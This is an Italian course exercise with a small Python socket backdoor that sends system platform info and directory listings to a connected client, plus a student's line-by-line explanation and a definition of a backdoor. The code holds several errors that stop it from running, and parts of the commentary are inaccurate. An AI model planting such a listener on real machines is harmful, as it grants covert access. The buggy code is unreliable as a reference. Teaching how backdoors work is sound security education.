C: > Users > linkm > OneDrive > Desktop > CARTELLA 0 > EPICODE > S3 > L4 > Pratica > Esercizio_S3L4.py > ...

```python
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socke.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen (1)
connection, address = s.accept()
print("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue
    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + connection.sendall(tosend.encode())
    elif(data.decode('utf-8')=='2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend =""
            for x in filelist:
                tosend += "," +x
        except:
            tosend - "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close
        connection, address = s.accept()
```

Commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

CODICE

Dalla **riga di codice 1** alla **riga 5** sto comunicando quale client vado ad ascoltare, attraverso quale indirizzo IPv4 (*in questo caso non specificato)* e quale porta.

Dopodiché, tra le **righe 6** e **10** andiamo a creare il socket, ossia il dispositivo che ci permetterà di intercettare e riportare le informazioni che ci interessano:
s.bind ci connette all'IP e alla porta interessata;
s.listen configura il socket ascoltando una sola connessione alla volta **(1)**;
connection stabilisce la connessione; **data** conterrà i dati che andremo a controllare.

Il comando **while** agisce sul comando connection solo attraverso la condizione **1** che corrisponde a: **True**, essendo la condizione sempre vera, il ciclo while sarà ripetibile all'infinito.
I dati verranno analizzati decodificati nella lingua d'interesse attraverso **'utf-8'**
Chiediamo di ricevere 1024 byte per volta.
Except controlla le eccezioni: in questo caso, se trovasse un'eccezione, col comando **continue** il ciclo while 1 ricomincia.
Tutto ciò che va di seguito (**16-27**) è il comportamento che deve tenere il programma attraverso le varie risposte e quali informazioni ottenere (ad esempio listdir ci mostrerà l'elenco delle varie cartelle presenti nel client dell'interessato.

Per chiudere l'operazione utilizzeremo il comando **connection.close**

BACKDOOR

Una **backdoor** è una porta d'accesso sicura (per l'attaccante) attraverso la quale operare, nel nostro caso ascoltare, sull'obiettivo.